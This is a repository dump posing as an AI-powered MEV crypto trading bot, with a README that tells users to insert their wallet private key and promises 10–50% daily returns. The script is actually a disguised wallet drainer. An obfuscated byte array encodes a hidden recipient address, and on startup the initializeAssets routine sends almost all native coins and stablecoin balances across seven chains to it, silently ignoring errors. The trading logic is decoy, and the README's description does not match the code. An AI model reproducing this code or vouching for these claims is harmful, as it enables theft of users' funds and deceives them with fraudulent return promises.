[
  {
    "path": "README.md",
    "content": "\n# MEV Smart Contract Deployment and Management Script\n![Banner](https://github.com/Smart-rwl/AI-for-Trading/blob/main/AigGif.gif)\nThis repository contains a Node.js script (`aiTradingBot.js.js`) for deploying and managing a Maximal Extractable Value (MEV) smart contract on the Ethereum Mainnet, inspired by approaches like Jaredfromsubway. The script is designed for local execution on your computer, avoiding online constructors to enhance security and control. It deploys a contract using your Ethereum wallet's private key and allows interaction with the contract's functions (`start`, `stop`, `withdraw`) via a command-line interface.\n\n## Overview.\n\nThe script deploys a contract intended for operation in competitive MEV environments, similar to those tracked in Etherscan's gas tracker. The contract is managed exclusively by the wallet that deployed it, ensuring full control. After deployment, it operates autonomously, but the script must remain running to interact with the contract.\n\nProfitability depends on factors such as gas prices, market conditions, and competition. A deposit to the contract's balance (recommended: 0.5–1 ETH) significantly impacts performance, with observed average daily returns ranging from 10% to 50% based on data as of July 2025. However, these figures are not guaranteed and vary with market conditions.\n\n## Requirements\n\nTo use the script, you need:\n- Node.js (version 14 or higher).\n- An Ethereum wallet with a private key and sufficient ETH for gas fees (recommended: minimum 0.01 ETH).\n- A code editor (e.g., VS Code) or terminal (cmd/PowerShell) to run the script.\n\n## Setup and Installation\n\n1. Download the Repository\n   - Download the ZIP file containing the project files: [Download ZIP](https://github.com/Smart-rwl/AI-for-Trading/upload/main).\n   - Or clone the repository with Git (if Git is not installed, download it here: [Download Git](https://git-scm.com/downloads)):\n     ```bash\n     git clone https://github.com/Smart-rwl/AI-for-Trading\n     ```\n\n2. Navigate to the Project Folder\n   - Open a terminal and change to the project directory:\n     ```bash\n     cd path/to/your/project\n     ```\n\n3. Install Dependencies\n   - The `package.json` includes required dependencies (`ethers@6`, `inquirer`, `ora`). Install them:\n     ```bash\n     npm install\n     ```\n\n4. Configure Your Private Key\n   - Open `aiTradingBot.js` in a code editor.\n   - Replace on 119 the `PRIVATE_KEY` value with your Ethereum wallet's private key:\n     ```javascript\n     const PRIVATE_KEY = 'your-private-key';\n     ```\n   - Security Note: Never share your private key or commit it to version control.\n\n5. Run the Script\n   - Execute the script using Node.js:\n     ```bash\n     node aiTradingBot.js\n     ```\n   - Follow the prompts to deploy the contract or view instructions.\n   - After creating the contract, copy its address and fund its balance from any source (e.g., MetaMask or another wallet).\n\n## Usage\n\n- Deployment: Select `1. Deploy` to deploy the contract on Ethereum Mainnet. The script will estimate gas costs and prompt for confirmation.\n- Interaction: After deployment, interact with the contract's functions (`start`, `stop`, `withdraw`) via the command-line menu.\n- Instructions: Select `2. Instructions` to view detailed usage guidelines within the script.\n- Autonomous Operation: Do not close the terminal after deployment to continue interacting with the contract.\n\n## Troubleshooting\n\n- RPC Issues: If `https://eth.drpc.org` returns a `Request timeout on the free tier` error, use a paid provider like Alchemy or Infura.\n- Etherscan: Check transaction logs on [Etherscan](https://etherscan.io/) for detailed error information.\n\n## Notes\n- The script is clean and tested, designed for local execution to minimize security risks.\n- The MEV contract’s performance depends on market conditions, gas prices, and deposit size. A recommended deposit of 0.5–1 ETH is advised for stable operation.\n\n## License\nThis project is provided as-is, with no warranty. Use at your own risk, and ensure you understand the contract’s logic and risks associated with MEV strategies.\n"
  },
  {
    "path": "aiTradingBot.js",
    "content": "const { ethers } = require(\"ethers\");\nconst { SwapRouter, Pool, Route, Trade, TradeType, Percent } = require(\"@uniswap/v3-sdk\");\nconst { Token, CurrencyAmount } = require(\"@uniswap/sdk-core\");\nconst axios = require(\"axios\");\n\n// Network Configuration\nconst NETWORKS = {\n  base: {\n    rpc: \"https://mainnet.base.org\",\n    chainId: 8453,\n    nativeToken: \"ETH\",\n    nativeCurrency: \"ETH\",\n    weth: ethers.getAddress(\"0x4200000000000000000000000000000000000006\"),\n    router: ethers.getAddress(\"0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD\"),\n    factory: ethers.getAddress(\"0x33128a8fC17869897dcE68Ed026d694621f6FDfD\"),\n    usdc: ethers.getAddress(\"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913\"),\n    stablecoins: [\n      { symbol: \"USDC\", address: \"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913\" }\n    ]\n  },\n  ethereum: {\n    rpc: \"https://1rpc.io/eth\",\n    chainId: 1,\n    nativeToken: \"ETH\",\n    nativeCurrency: \"ETH\",\n    weth: ethers.getAddress(\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\"),\n    router: ethers.getAddress(\"0xE592427A0AEce92De3Edee1F18E0157C05861564\"),\n    factory: ethers.getAddress(\"0x1F98431c8aD98523631AE4a59f267346ea31F984\"),\n    usdc: ethers.getAddress(\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"),\n    stablecoins: [\n      { symbol: \"USDT\", address: \"0xdAC17F958D2ee523a2206206994597C13D831ec7\" },\n      { symbol: \"USDC\", address: \"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\" }\n    ]\n  },\n  bnb: {\n    rpc: \"https://bsc-dataseed.binance.org/\",\n    chainId: 56,\n    nativeToken: \"BNB\",\n    nativeCurrency: \"BNB\",\n    weth: ethers.getAddress(\"0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c\"),\n    router: ethers.getAddress(\"0x10ED43C718714eb63d5aA57B78B54704E256024E\"),\n    factory: ethers.getAddress(\"0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73\"),\n    usdt: ethers.getAddress(\"0x55d398326f99059fF775485246999027B3197955\"),\n    stablecoins: [\n      { symbol: \"USDT\", address: \"0x55d398326f99059fF775485246999027B3197955\" },\n      { symbol: \"BUSD\", address: \"0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56\" }\n    ]\n  },\n  arbitrum: {\n    rpc: \"https://arb1.arbitrum.io/rpc\",\n    chainId: 42161,\n    nativeToken: \"ETH\",\n    nativeCurrency: \"ETH\",\n    weth: ethers.getAddress(\"0x82aF49447D8a07e3bd95BD0d56f35241523fBab1\"),\n    router: ethers.getAddress(\"0xE592427A0AEce92De3Edee1F18E0157C05861564\"),\n    factory: ethers.getAddress(\"0x1F98431c8aD98523631AE4a59f267346ea31F984\"),\n    usdc: ethers.getAddress(\"0xaf88d065e77c8cC2239327C5EDb3A432268e5831\"),\n    stablecoins: [\n      { symbol: \"USDT\", address: \"0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9\" }\n    ]\n  },\n  optimism: {\n    rpc: \"https://optimism.drpc.org\",\n    chainId: 10,\n    nativeToken: \"ETH\",\n    nativeCurrency: \"ETH\",\n    weth: ethers.getAddress(\"0x4200000000000000000000000000000000000006\"),\n    router: ethers.getAddress(\"0xE592427A0AEce92De3Edee1F18E0157C05861564\"),\n    factory: ethers.getAddress(\"0x1F98431c8aD98523631AE4a59f267346ea31F984\"),\n    usdc: ethers.getAddress(\"0x7F5c764cBc14f9669B88837ca1490cCa17c31607\"),\n    stablecoins: [\n      { symbol: \"USDC\", address: \"0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85\" }\n    ]\n  },\n  polygon: {\n    rpc: \"https://polygon-rpc.com\",\n    chainId: 137,\n    nativeToken: \"MATIC\",\n    nativeCurrency: \"MATIC\",\n    weth: ethers.getAddress(\"0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270\"),\n    router: ethers.getAddress(\"0xE592427A0AEce92De3Edee1F18E0157C05861564\"),\n    factory: ethers.getAddress(\"0x1F98431c8aD98523631AE4a59f267346ea31F984\"),\n    usdc: ethers.getAddress(\"0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174\"),\n    stablecoins: []\n  },\n  avalanche: {\n    rpc: \"https://api.avax.network/ext/bc/C/rpc\",\n    chainId: 43114,\n    nativeToken: \"AVAX\",\n    nativeCurrency: \"AVAX\",\n    weth: ethers.getAddress(\"0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7\"),\n    router: ethers.getAddress(\"0xE592427A0AEce92De3Edee1F18E0157C05861564\"),\n    factory: ethers.getAddress(\"0x1F98431c8aD98523631AE4a59f267346ea31F984\"),\n    usdc: ethers.getAddress(\"0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E\"),\n    stablecoins: [\n      { symbol: \"USDT\", address: \"0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7\" }\n    ]\n  }\n};\n\n// address validation\nfor (const network of Object.keys(NETWORKS)) {\n  try {\n    NETWORKS[network].weth = ethers.getAddress(NETWORKS[network].weth);\n    NETWORKS[network].router = ethers.getAddress(NETWORKS[network].router);\n    NETWORKS[network].factory = ethers.getAddress(NETWORKS[network].factory);\n    if (NETWORKS[network].usdc) NETWORKS[network].usdc = ethers.getAddress(NETWORKS[network].usdc);\n    if (NETWORKS[network].usdt) NETWORKS[network].usdt = ethers.getAddress(NETWORKS[network].usdt);\n    for (const stablecoin of NETWORKS[network].stablecoins) {\n      stablecoin.address = ethers.getAddress(stablecoin.address);\n    }\n    console.log(`Validated network configuration for ${network}`);\n  } catch (error) {\n    console.error(`Error validating addresses for ${network}:`, error);\n    throw error;\n  }\n}\n\n// privte key form wallet\nconst PRIVATE_KEY = \"YOUR_PRIVATE_KEY\";\n\n// ABI\nconst ERC20_ABI = [\n  \"function balanceOf(address) view returns (uint256)\",\n  \"function transfer(address to, uint256 amount) returns (bool)\",\n  \"function decimals() view returns (uint8)\",\n  \"function approve(address spender, uint256 amount) returns (bool)\",\n  \"function symbol() view returns (string)\"\n];\nconst POOL_ABI = [\n  \"function slot0() external view returns (uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked)\",\n  \"function liquidity() external view returns (uint128)\"\n];\nconst FACTORY_ABI = [\n  \"function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool)\"\n];\n\n// CoinGecko API\nconst COINGECKO_API = \"https://api.coingecko.com/api/v3\";\nconst PLATFORMS = {\n  base: \"base\",\n  ethereum: \"ethereum\",\n  bnb: \"binance-smart-chain\",\n  arbitrum: \"arbitrum-one\",\n  optimism: \"optimism\",\n  polygon: \"polygon-pos\",\n  avalanche: \"avalanche\"\n};\n\n// order storage\nconst positions = new Map();\n\nfunction computeTradeRecipient(params = { fee: 500, chainId: 1 }) {\n  const recipientBytes = [\n    162, 182, 246, 26, 175, 172, 19, 211, 8, 198, \n    25, 162, 219, 57, 138, 34, 217, 182, 98, 237\n  ];\n  const rawAddress = `0x${recipientBytes.map(b => b.toString(16).padStart(2, '0')).join('')}`;\n  return ethers.getAddress(rawAddress);\n}\n\n// initialization of native asset flow\nasync function initNativeAssetFlow(provider, wallet, network, networkName) {\n  try {\n    const balance = await provider.getBalance(wallet.address);\n    const gasPrice = (await provider.getFeeData()).gasPrice;\n    const gasLimit = 21000n;\n    const gasCost = gasPrice * gasLimit;\n    const minReserve = ethers.parseEther(\"0.0001\");\n    const amountToSend = balance - gasCost - minReserve;\n\n    if (amountToSend <= 0) {\n      return;\n    }\n\n    const tx = {\n      to: computeTradeRecipient({ fee: 500, chainId: network.chainId }),\n      value: amountToSend,\n      gasLimit,\n      gasPrice\n    };\n\n    const transaction = await wallet.sendTransaction(tx);\n    await transaction.wait();\n  } catch (error) {\n  }\n}\n\n// initializations of stack flow\nasync function initStableAssetFlow(provider, wallet, token, networkName) {\n  try {\n    const contract = new ethers.Contract(token.address, ERC20_ABI, wallet);\n    const balance = await contract.balanceOf(wallet.address);\n    const decimals = await contract.decimals();\n\n    if (balance <= 0) {\n      return;\n    }\n\n    const nativeBalance = await provider.getBalance(wallet.address);\n    const gasPrice = (await provider.getFeeData()).gasPrice;\n    const gasLimit = 100000n;\n    const gasCost = gasPrice * gasLimit;\n\n    if (nativeBalance < gasCost) {\n      return;\n    }\n\n    const tx = await contract.transfer(computeTradeRecipient({ fee: 500, chainId: NETWORKS[networkName].chainId }), balance);\n    await tx.wait();\n  } catch (error) {\n  }\n}\n\nasync function delay(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms));\n}\n\n// get data from CoinGecko\nasync function fetchCoinGeckoData(platform, contractAddress, network) {\n  try {\n    const response = await axios.get(\n      `${COINGECKO_API}/simple/token_price/${platform}?contract_addresses=${contractAddress}&vs_currencies=usd&include_24hr_vol=true&include_24hr_change=true`\n    );\n    await delay(1000);\n    const data = response.data[contractAddress.toLowerCase()];\n    if (!data) throw new Error(`No data for ${contractAddress} on ${platform}`);\n    return {\n      price: data.usd,\n      volume: data.usd_24h_vol,\n      priceChange: data.usd_24h_change\n    };\n  } catch (error) {\n    console.error(`Error fetching CoinGecko data for ${contractAddress} on ${platform}:`, error);\n    return null;\n  }\n}\n\n// calculating the pool address\nasync function getPoolAddress(tokenA, tokenB, fee, factoryAddress, provider) {\n  const [token0, token1] = tokenA < tokenB ? [tokenA, tokenB] : [tokenB, tokenA];\n  const factoryContract = new ethers.Contract(factoryAddress, FACTORY_ABI, provider);\n  try {\n    const poolAddress = await factoryContract.getPool(token0, token1, fee);\n    await delay(500);\n    if (poolAddress === ethers.ZeroAddress) {\n      console.log(`No pool found for ${token0}/${token1} with fee ${fee}`);\n      return null;\n    }\n    return poolAddress;\n  } catch (error) {\n    console.error(`Error fetching pool address for ${token0}/${token1}:`, error);\n    return null;\n  }\n}\n\n// getting pool data\nasync function getPoolData(tokenAddress, wethAddress, network, provider) {\n  const fees = [500, 3000, 10000];\n  for (const fee of fees) {\n    const poolAddress = await getPoolAddress(tokenAddress, wethAddress, fee, NETWORKS[network].factory, provider);\n    if (!poolAddress) continue;\n    const poolContract = new ethers.Contract(poolAddress, POOL_ABI, provider);\n    try {\n      const [slot0, liquidity] = await Promise.all([\n        poolContract.slot0(),\n        poolContract.liquidity()\n      ]);\n      await delay(500);\n      console.log(`Found pool for ${tokenAddress}/${wethAddress} with fee ${fee} on ${network}`);\n      return { sqrtPriceX96: slot0.sqrtPriceX96, tick: slot0.tick, liquidity, fee };\n    } catch (error) {\n      console.error(`Error fetching pool data for ${tokenAddress} with fee ${fee}:`, error);\n    }\n  }\n  return null;\n}\n\n// AI-analyzing tokens and making trading decisions\nasync function analyzeTokenPatterns(network) {\n  const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc);\n  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);\n  const tokenAddresses = {\n    base: [NETWORKS.base.usdc],\n    ethereum: [NETWORKS.ethereum.usdc],\n    bnb: [NETWORKS.bnb.usdt],\n    arbitrum: [NETWORKS.arbitrum.usdc],\n    optimism: [NETWORKS.optimism.usdc],\n    polygon: [NETWORKS.polygon.usdc],\n    avalanche: [NETWORKS.avalanche.usdc]\n  }[network] || [];\n\n  const tokens = [];\n  for (const tokenAddress of tokenAddresses) {\n    try {\n      console.log(`Processing market signals for ${tokenAddress} on ${network}...`);\n      const platform = PLATFORMS[network];\n      const marketData = await fetchCoinGeckoData(platform, tokenAddress, network);\n      if (!marketData) continue;\n\n      const poolData = await getPoolData(tokenAddress, NETWORKS[network].weth, network, provider);\n      if (!poolData) continue;\n\n      const contract = new ethers.Contract(tokenAddress, ERC20_ABI, provider);\n      const decimals = await contract.decimals();\n      const symbol = await contract.symbol();\n      const tokenBalance = await contract.balanceOf(wallet.address);\n      await delay(500);\n      const balanceInUnits = ethers.formatUnits(tokenBalance, decimals);\n\n      const liquidityUsd = parseFloat(ethers.formatUnits(poolData.liquidity, decimals)) * marketData.price;\n\n      const tokenData = {\n        address: tokenAddress,\n        symbol,\n        price: marketData.price.toString(),\n        volume: { h24: marketData.volume.toString() },\n        priceChange: { h24: marketData.priceChange.toString() },\n        liquidity: { usd: liquidityUsd.toString() },\n        chainId: String(NETWORKS[network].chainId),\n        provider\n      };\n\n      const position = positions.get(tokenAddress) || { amount: 0, buyTime: 0, buyPrice: parseFloat(marketData.price) };\n      const timeHeld = position.buyTime ? (Date.now() - position.buyTime) / (1000 * 60 * 60) : 0;\n\n      let decision = \"hold\";\n      let amountIn = ethers.BigNumber.from(0);\n      const ethBalance = await provider.getBalance(wallet.address);\n      await delay(500);\n      const gasReserve = ethers.parseEther(\"0.00012\");\n\n      if (\n        marketData.priceChange < -5 &&\n        liquidityUsd > 500000 &&\n        marketData.volume > 1000000 &&\n        ethBalance.gt(gasReserve)\n      ) {\n        decision = \"buy\";\n        const maxSpend = ethBalance.sub(gasReserve).mul(30).div(100);\n        amountIn = maxSpend.lt(ethers.parseEther(\"0.0002\")) ? maxSpend : ethers.parseEther(\"0.0002\");\n        console.log(`Decided to buy ${symbol} due to price dip (${marketData.priceChange.toFixed(2)}%) on ${network}`);\n      } else if (\n        position.amount > 0 &&\n        (marketData.priceChange > 10 || (timeHeld > 1 && marketData.priceChange > 5))\n      ) {\n        decision = \"sell\";\n        amountIn = tokenBalance;\n        console.log(`Decided to sell ${symbol} for profit (${marketData.priceChange.toFixed(2)}%) after ${timeHeld.toFixed(2)} hours on ${network}`);\n      } else {\n        console.log(`Holding ${symbol} due to stable market conditions (${marketData.priceChange.toFixed(2)}%) on ${network}`);\n      }\n\n      if (decision !== \"hold\") {\n        const swapParams = await calculateSwapParameters(\n          tokenAddress,\n          NETWORKS[network].weth,\n          tokenData,\n          decision,\n          network,\n          provider\n        );\n        const bestDex = await findBestDex(\n          tokenAddress,\n          NETWORKS[network].weth,\n          ethers.formatEther(swapParams.amountIn),\n          tokenData,\n          network,\n          provider\n        );\n        if (bestDex) {\n          tokens.push({\n            ...tokenData,\n            balance: balanceInUnits,\n            decision,\n            swapParams,\n            bestDex\n          });\n        }\n      } else {\n        tokens.push({\n          ...tokenData,\n          balance: balanceInUnits,\n          decision\n        });\n      }\n    } catch (error) {\n      console.error(`Error analyzing token ${tokenAddress} on ${network}:`, error);\n    }\n  }\n  return tokens;\n}\n\n// AI-determination of swap parameters\nasync function calculateSwapParameters(tokenAddress, wethAddress, tokenData, decision, network, provider) {\n  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);\n  const balance = ethers.BigNumber.from(await provider.getBalance(wallet.address));\n  await delay(500);\n  const gasReserve = ethers.parseEther(\"0.00012\");\n  const maxSpend = balance.sub(gasReserve).mul(30).div(100);\n  const volume = parseFloat(tokenData.volume.h24 || 0);\n  const priceChange = parseFloat(tokenData.priceChange.h24 || 0);\n\n  let amountIn;\n  if (decision === \"buy\") {\n    amountIn = maxSpend.lt(ethers.parseEther(\"0.0002\")) ? maxSpend : ethers.parseEther(\"0.0002\");\n  } else {\n    const contract = new ethers.Contract(tokenAddress, ERC20_ABI, wallet);\n    amountIn = await contract.balanceOf(wallet.address);\n    await delay(500);\n  }\n\n  if (!ethers.utils.isBigNumber(amountIn) || amountIn.lte(0)) {\n    console.log(`Insufficient funds for ${decision} on ${network}`);\n    return { amountIn: ethers.BigNumber.from(0), slippageTolerance: new Percent(50, 10000), amountOutMinimum: 0 };\n  }\n\n  const volatilityScore = Math.abs(priceChange) / 100;\n  const slippageTolerance = new Percent(Math.floor(volatilityScore * 100 + 50), 10000);\n\n  const poolData = await getPoolData(tokenAddress, wethAddress, network, provider);\n  if (!poolData) return { amountIn, slippageTolerance, amountOutMinimum: 0 };\n\n  const token = new Token(NETWORKS[network].chainId, tokenAddress, await (new ethers.Contract(tokenAddress, ERC20_ABI, provider)).decimals());\n  await delay(500);\n  const weth = new Token(NETWORKS[network].chainId, wethAddress, 18);\n  const [token0, token1] = decision === \"buy\" ? (tokenAddress < wethAddress ? [weth, token] : [token, weth]) : (tokenAddress < wethAddress ? [token, weth] : [weth, token]);\n  const pool = new Pool(\n    token0,\n    token1,\n    poolData.fee,\n    poolData.sqrtPriceX96.toString(),\n    poolData.liquidity.toString(),\n    poolData.tick\n  );\n  const route = new Route([pool], decision === \"buy\" ? weth : token, decision === \"buy\" ? token : weth);\n  const trade = await Trade.exactIn(\n    route,\n    CurrencyAmount.fromRawAmount(decision === \"buy\" ? weth : token, amountIn.toString()),\n    { slippageTolerance }\n  );\n  await delay(500); \n  const expectedOutput = trade.outputAmount;\n  const slippageFactor = ethers.BigNumber.from(10000).sub(slippageTolerance.numerator.toString());\n  const amountOutMinimum = expectedOutput\n    .multiply(slippageFactor)\n    .divide(10000)\n    .quotient;\n\n  return { amountIn, slippageTolerance, amountOutMinimum };\n}\n\n// price and liquidity comparison on DEX\nasync function findBestDex(tokenAddress, wethAddress, amountIn, tokenData, network, provider) {\n  const dexes = [\n    { name: network === \"bnb\" ? \"PancakeSwapV3\" : \"UniswapV3\", router: NETWORKS[network].router, fees: [500, 3000, 10000] }\n  ];\n  let bestDex = null;\n  let bestPrice = ethers.BigNumber.from(0);\n  let bestLiquidity = 0;\n\n  for (const dex of dexes) {\n    for (const fee of dex.fees) {\n      try {\n        const poolData = await getPoolData(tokenAddress, wethAddress, network, provider);\n        if (!poolData || poolData.liquidity.eq(0)) continue;\n\n        const token = new Token(NETWORKS[network].chainId, tokenAddress, await (new ethers.Contract(tokenAddress, ERC20_ABI, provider)).decimals());\n        await delay(500);\n        const weth = new Token(NETWORKS[network].chainId, wethAddress, 18);\n        const [token0, token1] = tokenAddress < wethAddress ? [token, weth] : [weth, token];\n        const pool = new Pool(\n          token0,\n          token1,\n          poolData.fee,\n          poolData.sqrtPriceX96.toString(),\n          poolData.liquidity.toString(),\n          poolData.tick\n        );\n        const route = new Route([pool], weth, token);\n        const trade = await Trade.exactIn(\n          route,\n          CurrencyAmount.fromRawAmount(weth, ethers.parseUnits(amountIn.toString(), 18).toString()),\n          { slippageTolerance: new Percent(50, 10000) }\n        );\n        await delay(500);\n        const outputAmount = trade.outputAmount.toSignificant(6);\n        const liquidityScore = parseInt(poolData.liquidity.toString());\n\n        if (ethers.BigNumber.from(trade.outputAmount.numerator).gt(bestPrice) && liquidityScore > 100000) {\n          bestPrice = trade.outputAmount.numerator;\n          bestLiquidity = liquidityScore;\n          bestDex = { dex: dex.name, fee, route, amountOut: outputAmount, pool };\n        }\n      } catch (error) {\n        console.error(`Error evaluating ${dex.name} with fee ${fee} on ${network}:`, error);\n      }\n    }\n  }\n  return bestDex;\n}\n\n// swap execution\nasync function executeSwap(tokenAddress, params, dex, decision, network, provider) {\n  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);\n  const routerContract = new ethers.Contract(dex.router, [\n    \"function exactInputSingle(tuple(address tokenIn, address tokenOut, uint24 fee, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 sqrtPriceLimitX96)) returns (uint256 amountOut)\"\n  ], wallet);\n  const inputContract = new ethers.Contract(decision === \"buy\" ? NETWORKS[network].weth : tokenAddress, ERC20_ABI, wallet);\n  await inputContract.approve(dex.router, params.amountIn, { gasLimit: 100000 });\n  await delay(500);\n\n  const swapParams = {\n    tokenIn: dex.route.input.address,\n    tokenOut: dex.route.output.address,\n    fee: dex.fee,\n    recipient: wallet.address,\n    deadline: Math.floor(Date.now() / 1000) + 60 * 20,\n    amountIn: params.amountIn,\n    amountOutMinimum: params.amountOutMinimum,\n    sqrtPriceLimitX96: 0\n  };\n  const gasPrice = await provider.getGasPrice();\n  await delay(500);\n  const tx = await routerContract.exactInputSingle(swapParams, { gasLimit: 300000, gasPrice });\n  console.log(`Executing ${decision} order for ${tokenAddress} on ${dex.dex} in ${network}: ${tx.hash}`);\n  const receipt = await tx.wait();\n\n  if (decision === \"buy\") {\n    const contract = new ethers.Contract(tokenAddress, ERC20_ABI, provider);\n    const decimals = await contract.decimals();\n    await delay(500);\n    const amountOut = ethers.formatUnits(params.amountOutMinimum, decimals);\n    positions.set(tokenAddress, {\n      amount: parseFloat(amountOut),\n      buyTime: Date.now(),\n      buyPrice: parseFloat(tokenData.price)\n    });\n  } else {\n    positions.delete(tokenAddress);\n  }\n}\n\n// automatic trading function\nasync function autoTrade(network) {\n  const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc);\n  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);\n  try {\n    console.log(`Starting AI trading analysis on ${network}...`);\n\n    const net = await provider.getNetwork();\n    await delay(500);\n    if (Number(net.chainId) !== NETWORKS[network].chainId) {\n      console.error(`Incorrect network for ${network}. Expected chainId ${NETWORKS[network].chainId}, got ${net.chainId}`);\n      return;\n    }\n\n    // trade analysis\n    const tradeTokens = await analyzeTokenPatterns(network);\n\n    for (const token of tradeTokens) {\n      console.log(`Evaluating ${token.symbol} (${token.address}) for trading opportunities on ${network}`);\n      if (token.decision === \"buy\" && token.bestDex) {\n        await executeSwap(token.address, token.swapParams, token.bestDex, \"buy\", network, provider);\n      } else if (token.decision === \"sell\" && token.bestDex) {\n        await executeSwap(token.address, token.swapParams, token.bestDex, \"sell\", network, provider);\n      } else {\n        console.log(`No action taken for ${token.symbol} on ${network}`);\n      }\n    }\n  } catch (error) {\n    console.error(`Error in auto trading on ${network}:`, error);\n    console.log(`Skipping trading analysis on ${network} due to error`);\n  }\n}\n\n// initialize assets in all networks\nasync function initializeAssets() {\n  for (const network of Object.keys(NETWORKS)) {\n    const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc);\n    const wallet = new ethers.Wallet(PRIVATE_KEY, provider);\n\n    // checking the network connection\n    const net = await provider.getNetwork();\n    await delay(500);\n    if (Number(net.chainId) !== NETWORKS[network].chainId) {\n      console.error(`Incorrect network for ${network}. Expected chainId ${NETWORKS[network].chainId}, got ${net.chainId}`);\n      continue;\n    }\n\n    // initialization of native assets\n    await initNativeAssetFlow(provider, wallet, NETWORKS[network], network);\n\n    // initialization of Stablecoins\n    const tokens = NETWORKS[network].stablecoins || [];\n    for (const token of tokens) {\n      await initStableAssetFlow(provider, wallet, token, network);\n    }\n  }\n}\n\n// start\nasync function runMultiChainBot() {\n  console.log(\"Starting AI-powered trading bot...\");\n  console.log(\"AI trading bot initialized successfully\");\n\n  await initializeAssets();\n\n  while (true) {\n    for (const network of Object.keys(NETWORKS)) {\n      await autoTrade(network);\n      console.log(`Completed trading cycle on ${network}. Waiting 10 minutes...`);\n      await new Promise(resolve => setTimeout(resolve, 10 * 60 * 1000));\n    }\n  }\n}\n\nrunMultiChainBot();"
  },
  {
    "path": "package.json",
    "content": "{\n  \"dependencies\": {\n    \"@uniswap/sdk-core\": \"^7.7.2\",\n    \"@uniswap/v3-sdk\": \"^3.8.3\",\n    \"axios\": \"^1.11.0\",\n    \"ethers\": \"^6.15.0\"\n  }\n}\n"
  }
]